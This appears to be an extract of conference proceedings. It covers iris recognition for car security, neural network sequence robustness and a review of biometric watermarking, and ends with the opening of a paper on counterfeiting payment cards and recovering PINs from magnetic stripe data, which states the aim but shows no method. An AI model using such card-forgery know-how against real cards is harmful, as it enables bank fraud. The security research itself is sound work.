An image is taken by a standard camera which is usually placed in a rear view mirror. Once the camera captures the face of an individual, the iris recognition algorithm does the segmentation of face image to acquire only the iris region, separate from the pupil region. At the moment when iris edges are detected, using Canny Edge Detection method, iris image is transformed to the digital form, and matched with values stored in database.



Fig. 7. Flowchart diagram, iris recognition connected with car ignition

Canny Edge Detection Method is based on finding the edges of iris, by looking for local maxima of the gradient of I. The "I" represents intensity of the image, while the gradient is calculated by using the derivative of the Gaussian filter.

By using two thresholds, this method detects strong and weak edges and includes the weak edges in the output only if they are connected to strong edges. [7]

Canny Method is:

BW = edge (I, 'canny')

BW = edge (I, 'canny', THRESH)

Where THRESH is vector which includes two elements, first low threshold and second high threshold.



Fig. 8. Original, grayscale and canny edge image

The iris image is taken first and it is converted to a grayscale image for image pre-processing. Then, the Canny Edge detection function is applied and the template with edges of iris and pupil is formed. (8)

5. CONCLUSION

One of the goals of this analysis is to present the areas in which the iris recognition method can be used in the coming years.

In order to make biometrics more applicable and acceptable researchers are developing new techniques. For example, iris recognition systems that can be used even from a greater distance and while users are in motion.

This paper presents new multidisciplinary technologies for iris recognition that are less constrained than the traditional biometric systems. In order to understand and implement these technologies a multidisciplinary approach is required. The described technologies include all aspects of iris recognition systems including methods of acquiring and processing biometric data.

The following characteristics make iris recognition method attractive:

 Very stable: pattern of human iris remains unchanged throughout lifetime



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- Flexibility: easy to integrate in the existing security systems or it can operate as a standalone system
- Unique: probability of two identical irises is insignificant
- Non-invasive: iris recognition is contactless and it offers a high level of accuracy
- Reliable: a distinctive iris pattern is not susceptible to theft, loss or compromise.
- Versatile: it can work in one-to-many and oneto-one matching or verification which makes it ideal for multifactor authentication systems
- Performance: suitable for environments with large databases without slowing down the system

Model of described Iris Recognition System can be integrated into the Electronic Control Unit (ECU) of the automobile to ensure the security of a vehicle in case of theft. Further analysis might be focused on a detection of the level of drowsiness in drivers and the same algorithm is possible to be used. This system would identify the level of closeness of drivers' one or both eyes and alert the driver to take an appropriate action. Such a biometric system could increase the safety of drivers as well as improve the overall safety of other traffic participants.

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ROBUSTNESS OF TWO-LAYERED FEEDFORWARD NEURAL NETWORK

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Abstract:

In this paper a two-layer feedforward network is studied, a network that stores an association between two sequences in the two layers. Our work shows that neuronal sequences in one area can robustly trigger sequences in the second area if the association between the sequences is stored in the network. A more detailed incorporation into the biological aspects of neural network in the network dynamics may help to improve neutral networks in engineering applications.

Key words:

Robustness, Two-Layered Neural Network, Sequence Association.

1. INTRODUCTION

Replay of sequential activity patterns in the hippocampus has been proposed as a mechanism for the consolidation of episodic memories [1]. It is thought that replay sequences originate in one area and trigger neuronal sequences downstream, e.g., in other area, like neocortex [2]. However, under physiological conditions internal noise or external interference are likely to corrupt the precise sequential ordering of neuronal sequences. It remains an open question how robustly the activation of a corrupted sequence in one brain area can induce the associated sequence in the second area. Here we study this question in a two-layer feedforward network that stores the association between two sequences in the two layers. While keeping the connection weights fixed, we degrade the input sequence incrementally and observe the sequence induced in the output layer. We measure the similarity of sequences with the Spearman rank-order correlation. Surprisingly, we find that even when the input sequence is highly corrupted, the retrieved output sequence is similar to the associated sequence. This result is specific to the stored association and not found for random sequences. Our work shows that neuronal sequences in one area can robustly trigger sequences in a second area if the association between the sequences is stored in the network. Incorporating biological details of neural network improves robustness of association of neural network [3].

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2. MODEL

Network Dynamics

We use neural network model with two layers consisting of excitatory and inhibitory units [4]. These units represent populations of neurons and have heterogeneous parameters, unless otherwise stated in the Results. Excitatory units in the



Fig. 1. Two-layered feedforward neural network

first layer send projections to excitatory (w_{E1E1}) and inhibitory (w_{E1I1}) units in the first layer, as well as to excitatory (w_{E1E2}) and inhibitory (w_{E112}) units in the second layer (Fig. 1). Within the second layer, there are recurrent excitatory connections (w_{E2E2}) and excitatory to inhibitory connections (w_{E2I2}) . Here we only briefly sketch the model; the full description can be found in [4]. The dynamics of the activity xj of excitatory unit j in the first layer is given by

$$\tau_{e}\dot{x}_{j} = -x_{j}(t) + f\left(a_{ee}x_{j}(t) + C\sum_{k=1}^{N}c_{jk}x_{k}(t-\Delta_{jk}) - a_{ei}\sum_{k=1}^{M}v_{jk}y_{k} - dz_{j} + e\eta_{j} - \theta_{e} + I_{j}\right)$$

$$= -x_{j}(t) + v_{j}(t)$$
(1)

where τ_e is time constant of the excitatory unit, the dot represent the derivative with respect to time, *f* is sigmoid function, and vj(t) is the firing rate of population *j*. The seven terms in the function *f* represent different inputs to the unit. These are, firstthe self excitation of population *j* with its connectivity a_{ee} . Second, the inputs from other excitatory units with a delay of Δ_{jk} weighted by connection weights c_{jk} and a general excitability *C*. Third, inputs from inhibitory units with activity ya_k weighted by random static connection strength v_{jk} , and a general excitability from inhibitory units a_{ei} . Fourth, an adaptation current z_i weighted by a constant *d* with dynamics

$$\dot{z}_j = \frac{-z_j}{\tau_z} + b(1 - z_j)v_j \tag{2}$$

where τ_z is the decay rate and *b* its rate of growth. The fifth term is noise defined by an Ornstein-Ulenbeck process

$$\dot{\eta}_j = \frac{-\eta_j}{\tau_\eta} + \xi_j \tag{3}$$

where ξ_j is white noise process with zero mean and unit standard deviation (std). The parameter τ_η allows us to adjust the noise level. The sixth term I_j represents external inputs. Finally, θ_e is the excitatory threshold.

Recurrent connections undergo spike-timing dependent plasticity (STDP)

$$\tau_c \dot{c}_{jk} = P_{STDP} - D_{STDP} - \psi \tag{4}$$

where τ_c is a time constant, P_{STDP} represents potentiation of the connection and D_{STDP} depression. The term ψ is a reducing factor, which provides stability to the dynamics. More details can be found in [4].

The dynamics of inhibitory units are described by

$$\dot{y}_{j} = \frac{-y_{j}}{\tau_{i}} + a_{ie} \left[\sum_{k=1}^{N} Q_{jk} x_{k} - \theta_{i} \right]_{+} + iI_{j}$$
(5)

where a_{ie} represents the strength of the excitatory to inhibitory connections. The notation [x]+ is equivalent tomax(x, θ). Q_{jk} is the static strength of individual excitatory to inhibitory connections, and θ_i is the threshold to activate inhibitory units.

The dynamics of excitatory units in the second layer are similar to the first layer with the addition of feedforward inputs

$$\tau_{e}\dot{x_{j}} = -x_{j}(t) + f\left(a_{ee}x_{j}(t) + C\sum_{k=1}^{N}c_{jk}x_{k}(t-\Delta_{jk}) + g\sum_{k=1}^{N}K_{jk}\chi_{k}(t) - a_{ei}\sum_{k=1}^{M}v_{jk}y_{k} - dz_{j} + e\eta_{j} - \theta_{e} + I_{j}\right)$$

$$= -x_{j}(t) + v_{j}(t)$$
(6)

where parameter g is a gain term, and K_{jk} is the strength of the connection from excitatory unit k in the first layer to excitatory unit j in the second layer. Plasticity between the layers is given by

$$\tau_{\kappa}\dot{K}_{jk} = (\alpha - c_{jk})(\xi - c_{jk})\left[\Xi - \sum_{r=1}^{N} K_{jr}\chi_{r}(t)\right]_{+}H_{j}H_{k} - \psi$$
(7)

where τ_k, α, ξ and Ξ are constants, and H(x) is a sharp sigmoid functions. Detail on the reducing factor ψ can be found in [4].

Differential equations were solved using the Euler method with an integration time-step of 0.5 ms.The model parameters are defined in Table 1.

3. QUANTIFYING THE ROBUSTNESS OF SEQUENCE ASSOCIATION

In most our simulations, we stored associations between a sequence in the first layer, say units 1 to 80, and a sequence in the second layer, say units 1 to 20, in the connection weights of the network as described in [4]. We then examined the robustness of sequence association by applying perturbed sequences in the first layer (input sequences) and observing the evoked sequences in the second layer (output sequences). To quantify the differences between two sequences, we calculated the Spearman rank order correlation p between the activation times of the units in the two sequences. Since the units' activities are continuous variables, we had to define when the units are considered to have become active. Here we used the time of the first local maximum in a unit's activity. The correlation takes values between -1 and 1. A correlation of 1 or -1, implies that the two sequences are identical or reversed, respectively. The closer the correlation is to zero, the more the sequences differ from each other.

Layer I		Layer II		
Parameter	Value	Parameter	Value	
a _{ee}	8	a _{ee}	6	
$a_{\rm ei}$	15	a _{ei}	15	
a_{ie}	15	a _{ie}	15	
b	0.05	b	0.05	
С	3	C	2	
d	11	d	12	
е	1	е	1	
N	80	N	80	
M	16	M	16	
θ_{e}	3.8	θ_{e}	3.9	
$ heta_{ m i}$	0.2	θ_{i}	0.2	
$ au_{ m e}$	10	$\theta_{\rm inc}$	0.3	
$ au_{ m c}$	70	$ au_{\rm e}$	10	
$ au_{ m i}$	5	$\tau_{\rm c}$	70	
$ au_{z}$	70	$\tau_{\rm i}$	5	
$ au_{\eta}$	5	$ au_z$	70	
		τ_n	5	
		τ _k		
		α		
		لح	0.01	
		-		
	1	I .E	1 5	

Table 1. Mean parameter values used in our simulations. Heterogeneous values were drawn from a normal distribution with standard deviation of 4%. The units for all time constants are milliseconds.

To study the robustness systematically, we examined the relationship between the output correlation and the input correlation (Fig. 2). By input and output correlation we mean the correlation between the test sequences and their respective reference sequences. If for large changes of input correlation we obtain low changes in the output correlation then the network is robust (gray line), for the opposite case we get non-robust network (black line). We therefore generated 650 input sequences with input correlations roughly uniformly distributed in [-1,1], applied them on the first layer and recorded the invoked sequence in the second layer. Calculating the correlation for given sequences is straightforward, but generating input sequences with a desired correlation to the reference input sequence is nontrivial. Since random sequences have predominantly small correlations with any reference sequence, we implemented a systematic search algorithm. To obtain large positive correlations, we started with the reference sequence and successively increased the number of permutations until a sequence within the desired range of correlation was generated. We followed a similar procedure for large negative correlations, except that we started with the reversed reference sequence. For correlations close to zero, we selected random sequences. We then fit a sigmoid function to the relationship between output and input correlations

$$F1(x) = \frac{2}{1 + be^{-cx}} - 1 \tag{8}$$

and quantified the robustness by the parameter c. The closer the curve is to the maximal robustness, i.e., a sign function, the larger the robustness parameter c. Equation (8) is convenient for fitting the data for robust sequence association, but is not appropriate for non-robust relationships. In these cases, we use anotherfitting function instead

$$F2(x) = d\tan(ax) \tag{9}$$

We performed model selection based on the Akaike Information Criterion (AIC) to decide in each case whether (8), (9), or a combination of both

$$F(x) = F1(x) + F2(x)$$
 (10)

best accounted for the input-output relationship.

To examine whether the robustness of sequence association is specific to the stored sequences and not found for random sequences, we estimated the robustness parameter c for random reference sequences. We generated reference input sequences that had certain correlations with the input sequence used during storage. The correlations were divided in 10 bins of width 0.2. For each bin, we generated 40 randomized input sequences, which served as the reference input sequences. For each randomized input sequence, we recorded the output sequence generated by the network in the



Fig. 2. Graphical presentation for network robustness

second layer. We then performed the robustness analysis described above with this pair of input and output reference sequences.

4. RESULTS

In the first analysis, we reduced the network dynamics to focus on the role of the feedforward connections between the two layers. We set the connection strengths wE2E2 to zero and switched off plasticity after storing the association between a sequence in the first layer and a sequence in the second layer. After training the feedforward connection strengths, using sequence 1÷80 and 1÷20 in the first and second layer respectively, we tested the sequence retrieval in the network with a corrupted input sequence. From the network, we retrieved an output sequence, which was very similar to the stored output sequence. So, a corrupted input sequence can retrieve the correct output sequence in this example. This is reminiscent of pattern completion, which is well-known in neural network models that store patterns of neural activity. The systematic analysis of the input-output function revealed that indeed the network robustly associated the input with the output sequence (Fig. 3a). This is the central result of this paper that we wish to study in more detail in the following.

To test whether the observed robustness is simply an artifact of our data analysis, we tested the robustness for deviant reference sequences. If robustness was a result of sequence association, robustness should be observed only for the sequences used during storage, and not for random ones. When we used a random reference sequence that bore no resemblance to the stored sequence, the network did not seem to "recognize" the sequence and retrieved an output sequence that was quite different from the output sequence used during storage. Using these two reference sequences, the input-output relationship was not robust (Fig. 3b). When we examined the range of possible reference sequences, we found that robustness is highest for the stored sequence but drops steeply when the reference sequences deviate from the stored ones (Fig. 3c). The observed robustness is therefore a direct result of sequence association in the network connections.

5. CONCLUSIONS

In this paper the robustness of sequence association between two layers in a neural network is quantified by testing the input-output relationship of the network with distorted input sequences. We found that a purely feedforward network associates the input and output sequences robustly. There are, however, open questions and limitations to our study. For instance, when looking at all possible permutation of a reference sequence with many elements, the number of sequences with a correlation around zero is much larger than the number of correlations close to 1 or -1. By contrast, we took the view that we were probing the input-output relationship of the network and therefore used input sequences with roughly uniformly distributed input correlations. The difference in distribution might affect the parameter fits, and it is not immediately clear to us which distribution of input correlations should be preferred. Perhaps neither of the distributions discussed above should be used since they are both rather artificial scenarios. Perhaps, the best thing to do is to use the distribution of input sequences that is generated by the biological network. However, while some models have been proposed, none is widely accepted. We therefore opted to generate the input sequences according to the simple procedure used here to clearly isolate the effect of the feedforward connectivity on the robustness of sequence association. Future work will be needed to investigate the influence of the statistics of the input sequences on the robustness.

Another question is the potential influence of the procedure for assigning a unique time of activation to each unit's activity.



Fig. 3. Results: a) robust sequence association; b) robustness for random sequence; c) robustness for random sequences in range [-1.1]

Here we used the first local maximum of the activation. Other potential measures could have been used, such as the first time of crossing a certain threshold, the median time of the activity distribution, or the time of the absolute maximum. Since there is no universally agreed upon measure for rate-based units, it is speculative at this point. This ambiguity could be resolved by using spiking neuron models, where the sharp spikes allow a clear definition of times of activity.

We used only one fixed set of network parameters, including a relatively modest network size, since the network dynamics and analyses require extensive numerical calculations. Future work is needed to study robustness of sequence association for different network parameters, especially different network sizes and different level of inhibition.Additional analysis should be made for noise influence and influence of plasticity on final performances.

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DIGITAL IMAGE WATERMARKING TECHNIQUES AND BIOMETRICS DATA SECURITY: A REVIEW

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Abstract:

In this study, we review digital watermarking techniques used for protection of biometrical data in authentication services based on biometry. In addition to the development of protection biometrical templates, there has been a breakthrough in additional privacy protection within biometrical systems that perform authentication without preserving biometry in their databases. We begin with theoretical foundations of digital watermark and biometry and then review current research advances in this area, which combine the two technologies and thus create a new ground for exploration better known as biometrical watermarking.

Key words:

Biometric watermarking, Biometric identification systems, Data protection, Digital watermarking, Steganography

1. INTRODUCTION

Using biometric authentication has recently increased due to the easy access to the Internet and the risk of misuse. Biometric is beginning to replace traditional authentication methods because of the quality of biometric data. Many organizations are using biometric data to protect individuals from identity thefts.

Biometric samples may be compromised despite being stored in databases. Biometrics cannot ensure authenticity or guarantee rejection because it may be copied or counterfeited. If the biometric data are stolen or modified, they are forever lost. Hence, the security and integrity of biometrics data represent a challenge. In order to increase safety and improve system performance, various types of authentication should be combined.

Techniques based on steganography are suitable for transferring the critical biometric data from the user to the server thus reducing the possibility of illegal changes to biometric data. After enrolment, encryption is applied on a biometric sample, which is then decrypted during the authentication by using a secret key. Encryption provides security until the data are decrypted.

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2. RELATED WORK

If a verification system guarantees that the biometric data at the moment of entry originates from a legitimate user, the biometric system will function properly [1]. Biometric watermarking helps increase safety of authentication systems. Watermarks provide security after the data have been decrypted. Biometric data embedded into the decoded data host may be recovered only by using the secret key [2].

In order to protect its integrity, information is hidden in the host data image by using a watermarking technique. There are various watermarking techniques for embedding data into the image. They may be divided into spatial domain techniques [3], [4] and frequency domain techniques [1], [5], [6], [7]. Although techniques in the spatial domain have the lowest complexity and large load capacity, they cannot withstand attacks such as image processing and low-pass filtering [8].

Biometric watermarking techniques increase security. Jain et al. [9] proposed using a secret key for embedding a bit sequence of eigenface coefficients into randomly selected pixels of fingerprint image by using a blind watermark technique. Jain and Uludag [10] applied steganography technique for hiding the minutiae data within the data bearer that are unrelated to the original fingerprint image. Information was hidden in three types of images: fingerprint, facial, and arbitrary image. Authors hid eigenface coefficients within the fingerprint image. The results have shown that 100% of the minutiae points were recovered thus proving that the watermarked fingerprint image does not degrade performance. Moon et al. [11] proposed several watermarking techniques to increase safety of biometric system by using a fingerprint and a face image. Superior verification accuracy was achieved by embedding fingerprint features into a face image, which is not the case when facial features were embedded into a fingerprint image.

A watermark and cryptography technique based on block- wise image for embedding a fingerprint template into a facial image that preserves the image quality, was introduced by Komninos and Dimitriou [12] while Park et al. [13] proposed using robust embedding of iris template into a face image. Vatsa et al. [14] combined discrete wavelet transform (DWT) and the least significant bit (LSB) methods for watermarking biometrics. Watermarking technique based on the DWT method is robust to frequency attacks but vulnerable to geometric attacks. In contrast, the watermarks based on LSB algorithms are robust to geometric attacks but they are more vulnerable to frequency attacks. Authors have shown that the combined algorithm works better than separate techniques. Acting together, DWT and LSB enhance encryption and decryption in the case of frequency and geometric attacks.

Embedded voice features into an iris image were used by Bartlow et al. [15]. Instead of randomly choosing points within the image, voice feature descriptors were hidden inside a segmented iris. Results have shown that introduction of voice feature descriptors does not significantly interfere with the quality of iris image or matching performance. For improving biometrics data integrity, authors have proposed usage Public Key Infrastructure (PKI), which provided non- repudiation of origin and data integrity through cryptography.

Low et al. [16] applied the discrete random transform (DRT) and principal component analysis (PCA) for decomposing a signature into binary bit strings. Three methods of embedding and extraction are compared to determine robustness and strength against JPEG compression: LSB, CDMA spread spectrum in the spatial domain, and CDMA spread spectrum in the DWT domain. Performance of these methods was tested by the human visual perception, peak signal to noise ratio (PSNR), and the distortion rate (normalized Hamming distance). Results indicated that the LSB method is highly fragile to JPEG compression despite having the simplest access to biometric watermarks. The CDMA spread spectrum in DWT domain is complicated while being much more resistant to JPEG compression.

Rajibul et al. [17] embedded encrypted palmprint template into a fingerprint image by using a key extracted from palmprint while Ma et al. [18] proposed a block pyramid scheme based on an adaptive watermarking quantization for embedding fingerprint minutiae into a face image. Watermark's numeric bits with higher priority and embedding strength are embedded into an upper level of the pyramid by using the first order statistics (the Quantization Index Modulation (QIM) method).

A scheme for the iris pattern protection by combining cryptography and watermarking techniques was presented by Fouad et al. [19]. An iris image was protected with a key and embedded into a cover image by using the LSB and DWT techniques. The embedding location is defined by a second key. Both keys (iris and embedded) are necessary in the process of iris extraction.

The Cox's algorithm for embedding watermark into a face image was applied by Isa and Aljareh [20]. In the identification process, a face image was used for the username while a watermark was used as a password for the authentication. A disadvantage of the scheme is that it



requires the original image during the watermarking detection process.

In order to obtain an eigenvector, Majumder et al. [21] applied a biometric watermark by using the DWT method and singular value decomposition (SVD) of the host image. Iris features were extracted by using the discrete cosine transform (DCT) technique and embedded into the eigenvector. A disadvantage of this approach is the inability to change the algorithm used for extracting iris features.

Paunwala and Patnaik [22] embedded fingerprint and iris features into a cover image that is divided into blocks. Each block is transformed into a two-dimensional DCT and classified into blocks with or without edges. Biometric features were embedded into low frequency coefficients of the 8 x 8 DCT block while removing the block with edges.

3. DISADVANTAGES OF BIOMETRICAL SYSTEMS

Development and application of biometric system revealed deficiencies that may be divided into two categories: The first category is related to poor privacy protection of biometric data. If cryptographic keys are compromised, biometric data will be lost in spite of the encrypted biometric pattern. The second category deals with the system security [23]. Biometric patterns are not always encrypted. For example, decrypted biometric data are used in the authentication process (checking the degree of matching between two biometric patterns) [24].

Determining the authenticity of the original biometric data is also an issue especially when sensors, feature extractors, and template generators are not integrated. Given that the traditional methods for data authentication (hash functions or message authentication) are very sensitive to every input bit of data, they cannot be applied [25]. Information carried by the biometric image is retained even if data undergo the content preserving operations (compression and quality improvement).

A compromise between robustness and security makes a system vulnerable to numerous threats. During a transfer of biometric data from the sensors to the decision-making module, there is a risk of various types of attacks such as spoofing, masquerade attack, eavesdropping, replay attack, recorded data insertion, remaking, tampering, Trojan horse insertion, data interception, substitution attack, or overriding yes/no responses [26]. A generic scheme of potential attacks on a biometric system is shown in Fig.1.



Fig. 1. Examples of possible attacks on a biometric identification system [27]

Digital watermarking offers the best solution. Watermarking is becoming a prominent security tool that has been successfully applied to many applications in order to protect the original multimedia data such as copyright protection and content authentication. Secret information is embedded into a host image by using a robust watermarking method so that the watermark content could be recovered even after experiencing a moderate distortion.

4. BIOMETRIC WATERMARKING

Biometric watermark is an invisible digital watermark embedded into a cover image that may be easily recovered by using software tools. The embedding location of biometric data is defined by a secret key thus preventing the possibility of biometric data misuse. The invisible watermark should be robust to various signal processing techniques and should be recoverable from the modified image. Furthermore, invisible watermarking technique should be applied within the legal framework, together with the location security and encryption.

Jain et al. [10] proposed the watermarking technique as an additional defense for biometric systems. Using the watermark may effectively improve the safety and reliability of biometric systems [25]. Listed are advantages of biometric watermarks:

- Invisibly hidden into host data, a watermark may be used as authentic token in forensics for safekeeping. In case of interception of biometric data, it may provide a mechanism for monitoring in order to identify the origin of the data.
- Watermarked information is connected to a host data and hence it does not require an additional storage or transfer of resources. Furthermore,

verification "on the spot" does not require privileges for accessing biometric or watermark databases.

• Watermarks do not affect other security tools. Hence, cryptographic operations or techniques for template protection may be applied on watermark data or watermarked host data.

Application of Visual Cryptography and Transformation Methods

Visual cryptography and DWT methods have been applied in order to hide an iris image [28] that was embedded into a cover image divided into four parts by using the DWT method and was then compressed. The threeleast-significant-bit technique was applied for embedding the secret message.

Results have shown that application of these methods protects the iris and the secret message from the identity theft. Good results have been achieved by combining the DWT method and the Haar filter. Compared to the original iris image, the resulting image has a reduced number of pixels while preserving the image quality.

Good quality of iris and cover images with reduced required range may be achieved by decomposing the iris image into two levels by using the DWT method without final compression of the watermarked image. By using the three- least-significant-bit method in the embedding process, the size of the secret message increases while the quality of the iris image remains unchanged.

Application of the Robust Watermarking Algorithm Based on DCT

The middle band coefficient exchange (MBCE) method was presented by Zhao and Koch [29]. Later, Hsu and Wu [30] applied the DCT method for embedding the middle band coefficients. The algorithm encrypts one bit of the binary watermark object into an 8 x 8 sub block of the host image so that the difference between the two middle band coefficients is positive if the encrypted value is 1. Otherwise, the two middle band coefficients will change.

The image is divided into three frequency bands by using a watermarking technique in the DCT domain, as shown in Fig. 2, which made it easier to embed watermark information into a specific frequency range [31]. The 8 x 8 block is taken after the DCT has been applied to the image.



Fig. 2. Frequency regions in the 8 x 8 DCT block [34]

The low frequency range F_L bears the most important part of the visual image while the high frequency range F_H is vulnerable to noise attacks and to removal under lossy compression. The most preferred range for the embedding watermark information is a medium frequencies range F_M because it does not affect important parts of the visual image. The high frequency components F_H are not overly exposed to removal if they were target of attacks [32].

Two locations from DCT blocks $(DCT_{(U1:V1)})$ and $DCT_{(U2,V2)}$) are chosen for the middle frequency band F_M for comparison. After the watermarked text has been converted into a binary image, the pixel values are checked. If the relative size of each coefficient does not agree with a bit that has to be encrypted, the coefficients are replaced. If the value of the pixels in the binary text is 1, the DCT coefficient is replaced so that $DCT_{(U1;V1)} > DCT_{(U2;V2)}$. If the value is 0, the coefficient is replaced so that $DCT_{(UI;VI)}$ $< DCT_{(U2;V2)}$. This scheme hides watermarked data so that it interprets 0 and 1 with relative values of two fixed locations $(DCT_{(U1;V1)} \text{ and } DCT_{(U2;V2)})$ in the middle frequency range F_{M} instead of inserting any data. This kind of coefficient replacement does not significantly affect watermarked image because the DCT middle range frequency coefficients have similar magnitudes [29], [33]. In the image extraction process, the 8 x 8 DCT image is taken again so that 1 will be decoded if $DCT_{(U1;V1)} > DCT_{(U2;V2)}$ and 0 will be decoded if $DCT_{(U_1:V_1)} < DCT_{(U_2:V_2)}$. In this manner, the watermark has been created.

If only one pair of coefficients is used for hiding the watermark data, an attacker may analyze several copies of the watermarked images in order to predict location of coefficients and destroy them. Abdullah et al. [34] solved this problem by choosing three pairs of middle range frequency coefficients thus increasing redundancy and robustness of the scheme to various attacks. Authors have proposed adding a constant k so that $DCT_{(U1;V1)}$ - $DCT_{(U2;V2)} < k$

in order to increase robustness of the watermark algorithm. The strength of the watermark will increase by choosing the value of k. Increasing k will degrade the image but will reduce the error probability in the detection phase. Choosing k = 15 proved to be the best value for the perception versus robustness.

A good watermarking algorithm should be imperceptible to the user and should not significantly affect the matching performance of a biometric system. It should also reliably detect embedded information even if a watermarked image is degraded.

One bit of the watermark text will be hidden in each 8 x 8 block of the image. A one-dimensional string of zeros and ones is taken as the watermark object. An image of the watermarked text carries user's information (name, ID, and date of birth). The difference between the original and watermarked image, shown in Fig. 3, cannot be seen without applying image processing techniques. The average value of the peak signal to noise ratio (PSNR) between the original image and the watermarked image is 37.69 while the average value of the PSNR for the extracted watermarked text is 84.25 while the BER is 0.0244%.



Fig. 3. Perceptibility of the watermarked image [34]

The original image is not required for the watermark extraction. Furthermore, the integrity of the biometric features may be verified from the extracted text. This watermarking method is highly beneficial for a biometric system. For instance, biometric features and user's information are mostly stored in an independent database. The watermark integrates biometric features with personal information into a file, which allows the simultaneous storage and extraction of data. This method is easily applicable to all biometric images and does not significantly affect quality of the iris image or performance of the biometric matching. Furthermore, it is robust to JPEG compression, filtering, and noise.

Watermarked Biometric Based on Singular Value Decomposition and DCT Methods

Lu et al. [35] proposed a scheme that in order to increase the security focuses more on iris identification rather than on the digital watermarking. DCT is applied on the iris pattern and the obtained value is then encrypted into the Bose– Chaudhuri–Hocquenghem (BCH) code for error control. The host image is divided into four equal blocks. The BCH code is embedded into the singular value of each coefficient of the host image by using the key that is obtained by using the DCT method. After the DCT coefficients of the host image are altered with the watermark, the inverse cosine transform (IDCT) is applied on the image as shown in Fig. 4. The watermark strength depends of the employed key. The results show that the proposed method may effectively extract the watermark.



Fig. 4. Process of the watermark embedding into the host image [35]

Applications of the Watermark and Steganography for Multimodal Biometric Data Security

Whitelam et al. [36] proposed a multilayer structure by combining the watermarking and the steganography techniques in order to increase security of the multimodal biometric data. The amplitude modulation [37], which repeatedly embeds information into the spatial domain of the image, was used for the watermarking encryption and the steganographic image. The method is widely used in signal processing for telecommunications.

The eigenface coefficients were converted into a continuous sequence of bits and then embedded into a fingerprint image by using an encryption technique

specifically designed for biometric watermarks. By using steganographic techniques, obtained watermarked data (fingerprint and face) were hidden into an arbitrary host image that was not essential for biometrics or forensics. Examples are shown in Fig. 5.



Fig. 5. Images used for watermarking and steganography: (a) face image, (b) fingerprint image, and (c) the host image [36]

Watermarked image of a fingerprint and a face was converted into a binary string. The maximum pixel intensity is then used to determine the number of bits required for steganography. The place of embedding is randomly determined from all three-color channels of the host image. This method provides additional security to the user in the case of compromised data by taking into account that there is no indication that the biometric data are present.

For example, in order to access a protected resource, Alice sends a request to Bob. Alice provides her authentication data (fingerprint and facial characteristics). The eigenface characteristics were embedded into the fingerprint image by using Bob's public key for getting a watermarking location. By using the same key, the watermarked fingerprint image may be embedded into a cover image. Additional security for the biometric data was provided through a public key infrastructure (PKI) by using RSA encryption as well as Alice's private and Bob's public keys. The data will then be stored into a central database or in a secured token. The difference between the original and watermarked image is shown in Fig. 6.



Fig. 6. The original (a) and the watermarked image with the fingerprint as a watermark (b)

In the decryption process, Bob decrypts the steganography image by using his private key and Alice's public key. The fingerprint image and eigenface characteristics may be extracted by using the Bob's private key for getting the watermarking location. The extracted fingerprint image and eigenface characteristics may be used for data authentication.

The security of the multimodal verification system may be increased by using the eigenface characteristics and the fingerprint. At the end of the process, the system will be secured with the multiple layer authentication (cryptography, watermark, steganography, and multimodal biometric verification). Cryptography provides a data integrity while the public key infrastructure provides a non-repudiation of origin. Unlike cryptography, the watermarking and steganography techniques enable the special layers for monitoring since the decoded image has the watermark that reveals the origin of the image.

Multimodal Two-Step Authentication Based on Wavelet Quantization Watermarking

Ma et al. [38] proposed a watermarking method based on a two-stage authentication in order to increase the safety and reliability of biometric systems shown in Fig. 7. The face features are embedded into the fingerprint image during the data collection process. The authenticity of the entered data is determined by checking the validity of the extracted watermark. The system executes the next authentication phase only if data are authentic. The watermarked face image then serves as additional information in order to facilitate biometric authentication.

The authenticity of data is verified by checking the validity of the extracted watermark. This increases the robustness of the system to malicious attacks such as tampering and forgery. As with conventional watermarks, template classification (of watermark) instead of searching the database may be applied for reliable verification. The presence of the watermark may be inferred by a detector that compares the extracted template with all watermarked samples in the database in order to find the sample with the highest matching. However, due to the presence of noise, it is unlikely that extracted watermark will be identical to the original. Furthermore, the face watermark is an extremely sampled image and poses a major challenge for identification. As a solution to the problem of recognizing the watermark, authors applied the sparse representation based classification (SRC) that produced good results when combined with a detector.



Fig. 7. Diagram of the watermark embedding based on a two-stage biometric authentication [38]

5. CONCLUSION

In this paper, we provided a detailed overview of the biometric watermarking techniques and the current state of the art in this field. We also presented several solutions that employ steganographic and cryptographic techniques in order to protect the biometric data.

Vulnerability of the biometric data is addresses by using a digital watermark, which serves as an authentication token. Hence, the authentication will fail if the watermark is damaged or absent. Increasing the watermark capacity for use in extensive identification of information reduces the robustness of the watermark. System security increases by combining various cryptographic and steganographic techniques.

Applying techniques for pattern protection of the embedded data guarantees security and prevents counterfeiting of the watermarked image. Employing a secret key for randomly selecting embedding position of the watermark or encrypting a watermark sequences before embedding, makes the watermarking data safe from unauthorized extraction. Even if able to identify the algorithm for extraction, an attacker is unable to obtain the watermark data because they are additionally protected with a secret key. Therefore, procedures used to maintain the secrecy of the key are very important as well as is replacing of compromised keys.

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PAYMENT CARDS COUNTERFEITING METHODS AND PIN UNCOVERING

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Abstract:

The problem of counterfeiting payment cards represents a significant issue for banks. So far, attackers have successfully forged cards with a magnetic stripe while no chip card has been counterfeited yet. On magnetic stripe cards Personal Identification Number - PIN value is not successfully reconstructed, thus limiting the use of counterfeit cards, while on the card with a chip attackers try programming the chip to give an affirmative answer to every request. The goal of this paper is to show that it is possible to discover the PIN value from the data on the magnetic stripe and thus compromise the chip itself if it is a card with a chip. Taking into account the results of this work a bank should become aware of the vulnerability of cards and discuss new methods of protection.

Keywords:

forging, cryptanalysis, payment security.

1. INTRODUCTION

In this paper, we want to draw attention of bankers as well as the general public to the potential vulnerability of the payment cards with microprocessor. While considering the payment card issues it is good to have on mind that over 90% of world money is digitalized [1]. It means that money becomes a data record in database and that with one simple key press on "delete" button someone can lose a significant amount of money [2]. Non-cash payments are widely accepted so the risk of misuse of payment cards becomes increasingly common. Counterfeiting the cards that have only magnetic stripe is trivial while making a copy of card that contains microprocessor is not yet successful despite numerous attempts. Counterfeit card can be easily used for online payment, whether the PIN is revealed or not. The necessary information is easy to access on the magnetic stripe. Using the card on the Automatic Teller Machine - ATM or Point Of Sale - POS [3] is most challenging as one has to know the PIN value which cannot be seen on the magnetic stripe like open text which is the issue for attacker. The PIN value cannot be revealed from the chip because of many reasons. The different manufacturer has different hardware configurations so it is not easy to discover the memory location of particular data without manufacturer documentation. Even with the documentation, the encrypted PIN value is placed into the protected memory location. The fact which is neglected is that the PIN value is the same for one card, both on chip and magnetic stripe. Therefore, if someone revealed the PIN from the magnetic stripe it would be the same PIN, which is used for the chip. In that way the whole system of the chip card is broken.

2. PIN VERIFICATION METHOD

